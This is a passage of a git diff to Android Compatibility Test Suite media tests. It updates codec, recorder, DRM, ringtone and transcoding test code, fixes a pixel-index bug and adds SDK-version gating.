         CamcorderProfile.QUALITY_HIGH_SPEED_480P,
         CamcorderProfile.QUALITY_HIGH_SPEED_720P,
         CamcorderProfile.QUALITY_HIGH_SPEED_1080P,
-        CamcorderProfile.QUALITY_HIGH_SPEED_2160P
+        CamcorderProfile.QUALITY_HIGH_SPEED_2160P,
+        CamcorderProfile.QUALITY_HIGH_SPEED_CIF,
+        CamcorderProfile.QUALITY_HIGH_SPEED_VGA,
+        CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI,
     };
-    private static final int LAST_QUALITY = CamcorderProfile.QUALITY_2K;
-    private static final int LAST_TIMELAPSE_QUALITY = CamcorderProfile.QUALITY_TIME_LAPSE_2K;
+    private static final int LAST_QUALITY = CamcorderProfile.QUALITY_8KUHD;
+    private static final int LAST_TIMELAPSE_QUALITY = CamcorderProfile.QUALITY_TIME_LAPSE_8KUHD;
     private static final int LAST_HIGH_SPEED_QUALITY = CamcorderProfile.QUALITY_HIGH_SPEED_4KDCI;
     private static final Integer[] UNKNOWN_QUALITIES = {
         LAST_QUALITY + 1, // Unknown normal profile quality
diff --git a/tests/tests/media/src/android/media/cts/CodecState.java b/tests/tests/media/src/android/media/cts/CodecState.java
index 03fb516..0237d2e 100644
--- a/tests/tests/media/src/android/media/cts/CodecState.java
+++ b/tests/tests/media/src/android/media/cts/CodecState.java
@@ -195,19 +195,26 @@
         return mSawInputEOS && mSawOutputEOS;
     }
 
-    /**
-     * doSomeWork() is the worker function that does all buffer handling and decoding works.
-     * It first reads data from {@link MediaExtractor} and pushes it into {@link MediaCodec};
-     * it then dequeues buffer from {@link MediaCodec}, consumes it and pushes back to its own
-     * buffer queue for next round reading data from {@link MediaExtractor}.
-     *
-     * Returns the timestamp of the queued frame, if any.
-     */
+    /** @see #doSomeWork(Boolean) */
     public Long doSomeWork() {
+        return doSomeWork(false /* mustWait */);
+    }
+
+    /**
+     * {@code doSomeWork} is the worker function that does all buffer handling and decoding works.
+     * It first reads data from {@link MediaExtractor} and pushes it into {@link MediaCodec}; it
+     * then dequeues buffer from {@link MediaCodec}, consumes it and pushes back to its own buffer
+     * queue for next round reading data from {@link MediaExtractor}.
+     *
+     * @param boolean  Whether to block on input buffer retrieval
+     *
+     * @return timestamp of the queued frame, if any.
+     */
+    public Long doSomeWork(boolean mustWait) {
         // Extract input data, if relevant
         Long sampleTime = null;
         if (mAvailableInputBufferIndex == -1) {
-            int indexInput = mCodec.dequeueInputBuffer(0 /* timeoutUs */);
+            int indexInput = mCodec.dequeueInputBuffer(mustWait ? -1 : 0 /* timeoutUs */);
             if (indexInput != MediaCodec.INFO_TRY_AGAIN_LATER) {
                 mAvailableInputBufferIndex = indexInput;
             }
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
index 0f404d1..80aefa7 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTest.java
@@ -25,12 +25,15 @@
 import android.content.Context;
 import android.graphics.Bitmap;
 import android.media.MediaFormat;
+import android.os.Environment;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.view.View;
 
 import com.android.compatibility.common.util.MediaUtils;
 
+import java.io.File;
+import java.io.FileOutputStream;
 import java.lang.reflect.Field;
 import java.util.ArrayList;
 import java.util.Collection;
@@ -139,6 +142,8 @@
     private View videoView;
     private VideoViewFactory videoViewFactory;
     private String fileName;
+    private String testName;
+    private String methodName;
     private SimplePlayer player;
 
     @After
@@ -161,48 +166,55 @@
         final List<Object[]> testParams = new ArrayList<>();
         for (int i = 0; i < VIDEO_FILES.length; i++) {
             final String file = VIDEO_FILES[i];
-            Pattern regex = Pattern.compile("^\\w+-(\\w+)_\\d+fps.\\w+");
+            Pattern regex = Pattern.compile("^\\w+-(\\w+)_\\d+fps\\.\\w+");
             Matcher matcher = regex.matcher(file);
             String testName = "";
             if (matcher.matches()) {
                 testName = matcher.group(1);
             }
-            testParams.add(new Object[] { testName.replace("_", " ").toUpperCase(), file });
+            testParams.add(new Object[] { testName, file });
         }
         return testParams;
     }
 
-    public DecodeAccuracyTest(String testname, String fileName) {
+    public DecodeAccuracyTest(String testName, String fileName) {
         this.fileName = fileName;
+        this.testName = testName;
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testGLViewDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewDecodeAccuracy";
         runTest(new GLSurfaceViewFactory(), new VideoFormat(fileName));
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testGLViewLargerHeightDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewLargerHeightDecodeAccuracy";
         runTest(new GLSurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testGLViewLargerWidthDecodeAccuracy() throws Exception {
+        this.methodName = "testGLViewLargerWidthDecodeAccuracy";
         runTest(new GLSurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testSurfaceViewVideoDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewVideoDecodeAccuracy";
         runTest(new SurfaceViewFactory(), new VideoFormat(fileName));
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testSurfaceViewLargerHeightDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewLargerHeightDecodeAccuracy";
         runTest(new SurfaceViewFactory(), getLargerHeightVideoFormat(new VideoFormat(fileName)));
     }
 
     @Test(timeout = PER_TEST_TIMEOUT_MS)
     public void testSurfaceViewLargerWidthDecodeAccuracy() throws Exception {
+        this.methodName = "testSurfaceViewLargerWidthDecodeAccuracy";
         runTest(new SurfaceViewFactory(), getLargerWidthVideoFormat(new VideoFormat(fileName)));
     }
 
@@ -253,6 +265,20 @@
         final Bitmap golden = getHelper().generateBitmapFromImageResourceId(goldenId);
         final BitmapCompare.Difference difference = BitmapCompare.computeMinimumDifference(
                 result, golden, videoFormat.getOriginalWidth(), videoFormat.getOriginalHeight());
+
+        if (difference.greatestPixelDifference > ALLOWED_GREATEST_PIXEL_DIFFERENCE) {
+            /* save failing file */
+            File failed = new File(Environment.getExternalStorageDirectory(),
+                                   "failed_" + methodName + "_" + testName + ".png");
+            try (FileOutputStream fileStream = new FileOutputStream(failed)) {
+                result.compress(Bitmap.CompressFormat.PNG, 0 /* ignored for PNG */, fileStream);
+                fileStream.flush();
+            } catch (Exception e) {
+                e.printStackTrace();
+            }
+            Log.d(TAG, testName + " saved " + failed.getAbsolutePath());
+        }
+
         assertTrue("With the best matched border crop ("
                 + difference.bestMatchBorderCrop.first + ", "
                 + difference.bestMatchBorderCrop.second + "), "
diff --git a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
index 4579567..33580ce 100644
--- a/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
+++ b/tests/tests/media/src/android/media/cts/DecodeAccuracyTestBase.java
@@ -1797,7 +1797,7 @@
         }
         return new Difference(greatestDifference, Pair.create(
             greatestDifferenceIndex % bitmap1.getWidth(),
-            greatestDifferenceIndex / bitmap1.getHeight()));
+            greatestDifferenceIndex / bitmap1.getWidth()));
     }
 
     @SuppressLint("UseSparseArrays")
diff --git a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
index ee2fa86..45396c2 100644
--- a/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
+++ b/tests/tests/media/src/android/media/cts/DrmInitDataTest.java
@@ -17,10 +17,16 @@
 package android.media.cts;
 
 import android.media.DrmInitData;
+import android.os.Build;
 import android.test.AndroidTestCase;
 
+import androidx.test.filters.SdkSuppress;
+
 import java.util.UUID;
 
+@NonMediaMainlineTest
+// methods introduced as hidden in R; first exposed in S
+@SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
 public class DrmInitDataTest extends AndroidTestCase {
 
     public void testSchemeInitDataConstructor() {
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
index 9918545..96ae72a 100755
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayTest.java
@@ -27,6 +27,7 @@
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
 import android.opengl.GLES20;
+import android.os.Build;
 import android.os.Bundle;
 import android.os.Handler;
 import android.os.Looper;
@@ -43,6 +44,9 @@
 
 import androidx.test.filters.SmallTest;
 
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.MediaUtils;
+
 import java.io.FileOutputStream;
 import java.io.IOException;
 import java.nio.ByteBuffer;
@@ -121,6 +125,9 @@
         return 0xff << 24 | (red & 0xff) << 16 | (green & 0xff) << 8 | (blue & 0xff);
     }
 
+    private static boolean sIsAtLeastR = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
+    private static boolean sIsAtLeastS = ApiLevelUtil.isAtLeast(Build.VERSION_CODES.S);
+
     @Override
     protected void setUp() throws Exception {
         super.setUp();
@@ -136,6 +143,9 @@
      * @throws Exception
      */
     public void testEncodeVirtualDisplay() throws Throwable {
+
+        if (!MediaUtils.check(sIsAtLeastR, "test needs Android 11")) return;
+
         EncodeVirtualWrapper.runTest(this);
     }
 
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
index fa2e7fa..de54f12 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTest.java
@@ -33,6 +33,7 @@
  */
 @SmallTest
 @RequiresDevice
+@NonMediaMainlineTest           // exercises hw codecs, fails in windowing on pure older releases
 public class EncodeVirtualDisplayWithCompositionTest extends AndroidTestCase {
     private static final String TAG = "EncodeVirtualDisplayWithCompositionTest";
     private static final String MIME_TYPE = MediaFormat.MIMETYPE_VIDEO_AVC;
diff --git a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
index c969515..85136bc 100644
--- a/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
+++ b/tests/tests/media/src/android/media/cts/EncodeVirtualDisplayWithCompositionTestImpl.java
@@ -184,6 +184,12 @@
                 mDecoder = MediaCodec.createByCodecName(decoderName);
             }
             MediaFormat decoderFormat = MediaFormat.createVideoFormat(mimeType, w, h);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            decoderFormat.setInteger(
+                    MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
             if (degrees != 0) {
                 decoderFormat.setInteger(MediaFormat.KEY_ROTATION, degrees);
             }
@@ -421,7 +427,8 @@
      * Determines if two color values are approximately equal.
      */
     private static boolean approxEquals(int expected, int actual) {
-        final int MAX_DELTA = 7;
+        // allow differences between BT.601 and BT.709 conversions during encoding/decoding for now
+        final int MAX_DELTA = 17;
         return Math.abs(expected - actual) <= MAX_DELTA;
     }
 
@@ -570,6 +577,9 @@
             format.setInteger(MediaFormat.KEY_BIT_RATE, bitRate);
             format.setInteger(MediaFormat.KEY_FRAME_RATE, 30);
             format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
+            format.setInteger(MediaFormat.KEY_COLOR_RANGE, MediaFormat.COLOR_RANGE_LIMITED);
+            format.setInteger(MediaFormat.KEY_COLOR_STANDARD, MediaFormat.COLOR_STANDARD_BT601_PAL);
+            format.setInteger(MediaFormat.KEY_COLOR_TRANSFER, MediaFormat.COLOR_TRANSFER_SDR_VIDEO);
 
             MediaCodecList mcl = new MediaCodecList(MediaCodecList.REGULAR_CODECS);
             String codecName = null;
diff --git a/tests/tests/media/src/android/media/cts/EncoderTest.java b/tests/tests/media/src/android/media/cts/EncoderTest.java
index 0bc50ac..c77356b 100644
--- a/tests/tests/media/src/android/media/cts/EncoderTest.java
+++ b/tests/tests/media/src/android/media/cts/EncoderTest.java
@@ -18,6 +18,7 @@
 
 import android.content.Context;
 import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
 import android.media.MediaFormat;
 import android.media.MediaMuxer;
 import android.platform.test.annotations.AppModeFull;
@@ -36,6 +37,7 @@
 import java.io.InputStream;
 import java.nio.BufferOverflowException;
 import java.nio.ByteBuffer;
+import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.LinkedList;
 import java.util.List;
@@ -171,16 +173,8 @@
         testEncoderWithFormats(MediaFormat.MIMETYPE_AUDIO_AAC, formats);
     }
 
-    private void testEncoderWithFormats(
-            String mime, List<MediaFormat> formatList) {
-        MediaFormat[] formats = formatList.toArray(new MediaFormat[formatList.size()]);
-        String[] componentNames = MediaUtils.getEncoderNames(formats);
-        if (componentNames.length == 0) {
-            MediaUtils.skipTest("no encoders found for " + Arrays.toString(formats));
-            return;
-        }
-
-        int ThreadCount = 3;
+    private void testEncoderWithFormatsParallel(String mime, List<MediaFormat> formats,
+            List<String> componentNames, int ThreadCount) {
         int testsStarted = 0;
         int allowPerTest = 30;
 
@@ -206,6 +200,42 @@
         }
     }
 
+    private void testEncoderWithFormats(
+            String mime, List<MediaFormat> formatList) {
+        MediaFormat[] formats = formatList.toArray(new MediaFormat[formatList.size()]);
+        String[] componentNames = MediaUtils.getEncoderNames(formats);
+        if (componentNames.length == 0) {
+            MediaUtils.skipTest("no encoders found for " + Arrays.toString(formats));
+            return;
+        }
+
+        final int ThreadPoolCount = 3;
+        List<String>[] componentNamesGrouped = new List[ThreadPoolCount];
+        for (int i = 0; i < ThreadPoolCount; i++) {
+            componentNamesGrouped[i] = new ArrayList<>();
+        }
+        for (String componentName : componentNames) {
+            MediaCodec codec = null;
+            try {
+                codec = MediaCodec.createByCodecName(componentName);
+                MediaCodecInfo info = codec.getCodecInfo();
+                MediaCodecInfo.CodecCapabilities cap = info.getCapabilitiesForType(mime);
+                int instances = Math.min(cap.getMaxSupportedInstances(), ThreadPoolCount);
+                assertTrue(instances >= 1 && instances <= ThreadPoolCount);
+                componentNamesGrouped[instances - 1].add(componentName);
+            } catch (Exception e) {
+                fail("codec '" + componentName + "' failed construction.");
+            } finally {
+                codec.release();
+            }
+        }
+        for (int i = 0; i < ThreadPoolCount; i++) {
+            if (componentNamesGrouped[i].size() > 0) {
+                testEncoderWithFormatsParallel(mime, formatList, componentNamesGrouped[i], i + 1);
+            }
+        }
+    }
+
     // See bug 25843966
     private long[] mBadSeeds = {
             101833462733980l, // fail @ 23680 in all-random mode
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTest.java b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
index dad5154..33358b6 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTest.java
@@ -2664,6 +2664,7 @@
             for (String mime: info.getSupportedTypes()) {
                 CodecCapabilities caps = info.getCapabilitiesForType(mime);
                 boolean isVideo = (caps.getVideoCapabilities() != null);
+                boolean isAudio = (caps.getAudioCapabilities() != null);
 
                 MediaCodec codec = null;
                 MediaFormat format = null;
@@ -2681,7 +2682,7 @@
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
                         format.setInteger(MediaFormat.KEY_FRAME_RATE, minFrameRate);
                         format.setInteger(MediaFormat.KEY_I_FRAME_INTERVAL, IFRAME_INTERVAL);
-                    } else {
+                    } else if(isAudio){
                         AudioCapabilities acaps = caps.getAudioCapabilities();
                         int minSampleRate = acaps.getSupportedSampleRateRanges()[0].getLower();
                         int minChannelCount = 1;
@@ -2692,11 +2693,13 @@
                         format = MediaFormat.createAudioFormat(mime, minSampleRate, minChannelCount);
                         format.setInteger(MediaFormat.KEY_BIT_RATE, minBitrate);
                     }
-                    format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
 
-                    codec.configure(format, null /* surface */, null /* crypto */,
+                    if (isVideo || isAudio) {
+                        format.setInteger(MediaFormat.KEY_PREPEND_HEADER_TO_SYNC_FRAMES, 1);
+
+                        codec.configure(format, null /* surface */, null /* crypto */,
                             isEncoder ? codec.CONFIGURE_FLAG_ENCODE : 0);
-
+                    }
                     if (isVideo && isEncoder) {
                         Log.i(TAG, info.getName() + " supports KEY_PREPEND_HEADER_TO_SYNC_FRAMES");
                     } else {
diff --git a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java b/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
index ee3b3fd..f8a3161 100644
--- a/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
+++ b/tests/tests/media/src/android/media/cts/MediaCodecTunneledPlayer.java
@@ -581,13 +581,13 @@
     public Long queueOneVideoFrame() {
         Log.d(TAG, "queueOneVideoFrame");
 
-        if (mVideoCodecStates == null || !(mState == STATE_IDLE || mState == STATE_PAUSED)) {
+        if (mVideoCodecStates == null || !(mState == STATE_PLAYING || mState == STATE_PAUSED)) {
             return null;
         }
 
         Long result = null;
         for (CodecState state : mVideoCodecStates.values()) {
-            Long timestamp = state.doSomeWork();
+            Long timestamp = state.doSomeWork(true /* mustWait */);
             if (timestamp != null) {
                 result = timestamp;
             }
diff --git a/tests/tests/media/src/android/media/cts/MediaDrmTest.java b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
index 778fe05..c455c38 100644
--- a/tests/tests/media/src/android/media/cts/MediaDrmTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaDrmTest.java
@@ -23,8 +23,11 @@
 import android.media.ResourceBusyException;
 import android.media.UnsupportedSchemeException;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.PlaybackSession;
 import android.os.PersistableBundle;
 import android.util.Log;
+import androidx.test.InstrumentationRegistry;
 import androidx.test.runner.AndroidJUnit4;
 
 import java.util.List;
@@ -131,13 +134,18 @@
                 MediaDrm.PlaybackComponent component = drm.getPlaybackComponent(sid);
                 Assert.assertNotNull("null PlaybackComponent", component);
 
-                String logSessionId = "testPlaybackComponent";
-                component.setLogSessionId(new LogSessionId(logSessionId));
-                assertEquals(logSessionId, component.getLogSessionId().getStringId(),
+                final MediaMetricsManager mediaMetricsManager =
+                        InstrumentationRegistry.getTargetContext()
+                                .getSystemService(MediaMetricsManager.class);
+                final PlaybackSession playbackSession =
+                        mediaMetricsManager.createPlaybackSession();
+                final LogSessionId logSessionId = playbackSession.getSessionId();
+                component.setLogSessionId(logSessionId);
+                assertEquals(logSessionId, component.getLogSessionId(),
                         "LogSessionId not set");
                 PersistableBundle metrics = drm.getMetrics();
                 assertTrue("LogSessionId not found in metrics",
-                        searchMetricsForValue(metrics, logSessionId));
+                        searchMetricsForValue(metrics, logSessionId.getStringId()));
             } catch (UnsupportedOperationException | NotProvisionedException e) {
                 Log.w(TAG, "testPlaybackComponent: skipping scheme " + scheme, e);
             } catch (ResourceBusyException e) {
diff --git a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
index 45e663a..db8bdcf 100644
--- a/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaRecorderTest.java
@@ -41,6 +41,8 @@
 import android.media.MicrophoneInfo;
 import android.media.cts.AudioRecordingConfigurationTest.MyAudioRecordingCallback;
 import android.media.metrics.LogSessionId;
+import android.media.metrics.MediaMetricsManager;
+import android.media.metrics.RecordingSession;
 import android.opengl.GLES20;
 import android.os.Build;
 import android.os.ConditionVariable;
@@ -54,6 +56,7 @@
 import android.util.Log;
 import android.view.Surface;
 
+import androidx.test.InstrumentationRegistry;
 import androidx.test.filters.SmallTest;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
@@ -1822,9 +1825,12 @@
         MediaRecorder recorder = new MediaRecorder();
         assertEquals(recorder.getLogSessionId(), LogSessionId.LOG_SESSION_ID_NONE);
 
-        LogSessionId logSessionId = new LogSessionId("0123456789abcdef");
-        recorder.setLogSessionId(logSessionId);
-        assertEquals(recorder.getLogSessionId(), logSessionId);
+        final MediaMetricsManager mediaMetricsManager =
+                InstrumentationRegistry.getTargetContext()
+                        .getSystemService(MediaMetricsManager.class);
+        final RecordingSession recordingSession = mediaMetricsManager.createRecordingSession();
+        recorder.setLogSessionId(recordingSession.getSessionId());
+        assertEquals(recordingSession.getSessionId(), recorder.getLogSessionId());
 
         recorder.release();
     }
diff --git a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
index 6522ae1..4b5608a 100644
--- a/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaSessionManagerTest.java
@@ -104,6 +104,9 @@
     }
 
     public void testOnMediaKeyEventSessionChangedListener() throws Exception {
+        // The permission can be held only on S+
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+
         getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
 
@@ -135,6 +138,9 @@
     }
 
     public void testOnMediaKeyEventDispatchedListener() throws Exception {
+        // The permission can be held only on S+
+        if (!MediaUtils.check(sIsAtLeastS, "test invalid before Android 12")) return;
+
         getInstrumentation().getUiAutomation()
                 .adoptShellPermissionIdentity(Manifest.permission.MEDIA_CONTENT_CONTROL);
 
diff --git a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
index 126ca4c..d60caa8 100644
--- a/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
+++ b/tests/tests/media/src/android/media/cts/RingtoneManagerTest.java
@@ -16,6 +16,7 @@
 package android.media.cts;
 
 import android.app.ActivityManager;
+import android.content.ContentResolver;
 import android.content.res.AssetFileDescriptor;
 
 import android.app.Activity;
@@ -206,4 +207,17 @@
         assertTrue(c.getString(RingtoneManager.URI_COLUMN_INDEX),
                 c.getString(RingtoneManager.URI_COLUMN_INDEX).startsWith("content://"));
     }
+
+    public void testHasHapticChannels() {
+        if (!isSupportedDevice()) return;
+
+        Cursor c = mRingtoneManager.getCursor();
+        assertTrue("Must have at lease one ringtone available", c.getCount() > 0);
+        mRingtoneManager.hasHapticChannels(0);
+
+        final String uriPrefix = ContentResolver.SCHEME_ANDROID_RESOURCE + "://" +
+                mContext.getPackageName() + "/raw/";
+        assertTrue(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4_haptic")));
+        assertFalse(RingtoneManager.hasHapticChannels(Uri.parse(uriPrefix + "a_4")));
+    }
 }
diff --git a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
index ba32b92..109860a 100644
--- a/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
+++ b/tests/tests/media/src/android/media/cts/StreamingMediaPlayerTest.java
@@ -413,7 +413,7 @@
         }
 
         mServer = new CtsTestServer(mContext);
-        Preconditions.assertTestFileExists(mInpPrefix + "prog_index_m3u8");
+        Preconditions.assertTestFileExists(mInpPrefix + "prog_index.m3u8");
         try {
             // counter must be final if we want to access it inside onTimedMetaData;
             // use AtomicInteger so we can have a final counter object with mutable integer value.
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
index a34cf3e..62948a3 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderPerfTest.java
@@ -87,37 +87,6 @@
         super.tearDown();
     }
 
-    // Performance numbers only make sense on real devices, so skip on non-real devices
-    public static boolean frankenDevice() throws IOException {
-        String systemBrand = getProperty("ro.product.system.brand");
-        String systemModel = getProperty("ro.product.system.model");
-        String systemProduct = getProperty("ro.product.system.name");
-        // not all devices may have a system_ext partition
-        String systemExtProduct = getProperty("ro.product.system_ext.name");
-        if (("Android".equals(systemBrand) || "generic".equals(systemBrand) ||
-                "mainline".equals(systemBrand)) &&
-            (systemModel.startsWith("AOSP on ") || systemProduct.startsWith("aosp_")
-                || systemExtProduct.startsWith("aosp_"))) {
-            return true;
-        }
-        return false;
-    }
-
-    private static String getProperty(String property) throws IOException {
-        Process process = new ProcessBuilder("getprop", property).start();
-        Scanner scanner = null;
-        String line = "";
-        try {
-            scanner = new Scanner(process.getInputStream());
-            line = scanner.nextLine();
-        } finally {
-            if (scanner != null) {
-                scanner.close();
-            }
-        }
-        return line;
-    }
-
     private void decode(String name, final String resource, MediaFormat format) throws Exception {
         int width = format.getInteger(MediaFormat.KEY_WIDTH);
         int height = format.getInteger(MediaFormat.KEY_HEIGHT);
@@ -127,7 +96,7 @@
         long maxTimeMs = Math.min(
                 MAX_TEST_TIMEOUT_MS * 4 / 5 / NUMBER_OF_REPEATS, MAX_TIME_MS);
         // reduce test run on non-real device
-        if (frankenDevice()) {
+        if (MediaUtils.onFrankenDevice()) {
             maxTimeMs /= 10;
         }
         double measuredFps[] = new double[NUMBER_OF_REPEATS];
@@ -146,7 +115,8 @@
 
         String error =
             MediaPerfUtils.verifyAchievableFrameRates(name, mime, width, height, measuredFps);
-        if ((frankenDevice() || mSkipRateChecking) && error != null) {
+        // Performance numbers only make sense on real devices, so skip on non-real devices
+        if ((MediaUtils.onFrankenDevice() || mSkipRateChecking) && error != null) {
             // ensure there is data, but don't insist that it is correct
             assertFalse(error, error.startsWith("Failed to get "));
         } else {
@@ -692,4 +662,3 @@
     public void testVp9Other2Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 2); }
     public void testVp9Other3Perf3840x2160() throws Exception { perf(sVp9Media3840x2160, OTHER, 3); }
 }
-
diff --git a/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java b/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java
index b7ac5af..08c22b7 100644
--- a/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java
+++ b/tests/tests/media/src/android/media/cts/VideoDecoderRotationTest.java
@@ -42,6 +42,7 @@
  */
 @SmallTest
 @RequiresDevice
+@NonMediaMainlineTest   // fails in windowing on pure older releases
 @RunWith(Parameterized.class)
 public class VideoDecoderRotationTest {
     private static final String TAG = "VideoDecoderRotationTest";
diff --git a/tests/tests/mediastress/jni/Android.bp b/tests/tests/mediastress/jni/Android.bp
index 400ddd82..455c3a3 100644
--- a/tests/tests/mediastress/jni/Android.bp
+++ b/tests/tests/mediastress/jni/Android.bp
@@ -28,7 +28,9 @@
         "libOpenMAXAL",
     ],
     stl: "none",
-    sdk_version: "current",
+    // this test suite will run on sdk 29 as part of MTS, make sure it's compatible
+    // (revisit if/when we add features to this library that require newer sdk)
+    sdk_version: "29",
     cflags: [
         "-Wall",
         "-Werror",
diff --git a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
similarity index 83%
rename from tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
rename to tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
index e494bcc..c9b2b16 100644
--- a/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodeManagerTest.java
+++ b/tests/tests/mediatranscoding/src/android/media/mediatranscoding/cts/MediaTranscodingManagerTest.java
@@ -24,11 +24,14 @@
 import android.content.pm.PackageManager;
 import android.content.res.AssetFileDescriptor;
 import android.media.ApplicationMediaCapabilities;
+import android.media.MediaCodec;
+import android.media.MediaCodecInfo;
+import android.media.MediaExtractor;
 import android.media.MediaFormat;
-import android.media.MediaTranscodeManager;
-import android.media.MediaTranscodeManager.TranscodingRequest;
-import android.media.MediaTranscodeManager.TranscodingSession;
-import android.media.MediaTranscodeManager.VideoTranscodingRequest;
+import android.media.MediaTranscodingManager;
+import android.media.MediaTranscodingManager.TranscodingRequest;
+import android.media.MediaTranscodingManager.TranscodingSession;
+import android.media.MediaTranscodingManager.VideoTranscodingRequest;
 import android.net.Uri;
 import android.os.Bundle;
 import android.os.Environment;
@@ -67,8 +70,8 @@
 @Presubmit
 @RequiresDevice
 @AppModeFull(reason = "Instant apps cannot access the SD card")
-public class MediaTranscodeManagerTest extends AndroidTestCase {
-    private static final String TAG = "MediaTranscodeManagerTest";
+public class MediaTranscodingManagerTest extends AndroidTestCase {
+    private static final String TAG = "MediaTranscodingManagerTest";
     /** The time to wait for the transcode operation to complete before failing the test. */
     private static final int TRANSCODE_TIMEOUT_SECONDS = 10;
     /** Copy the transcoded video to /storage/emulated/0/Download/ */
@@ -78,7 +81,7 @@
 
     private Context mContext;
     private ContentResolver mContentResolver;
-    private MediaTranscodeManager mMediaTranscodeManager = null;
+    private MediaTranscodingManager mMediaTranscodingManager = null;
     private Uri mSourceHEVCVideoUri = null;
     private Uri mSourceAVCVideoUri = null;
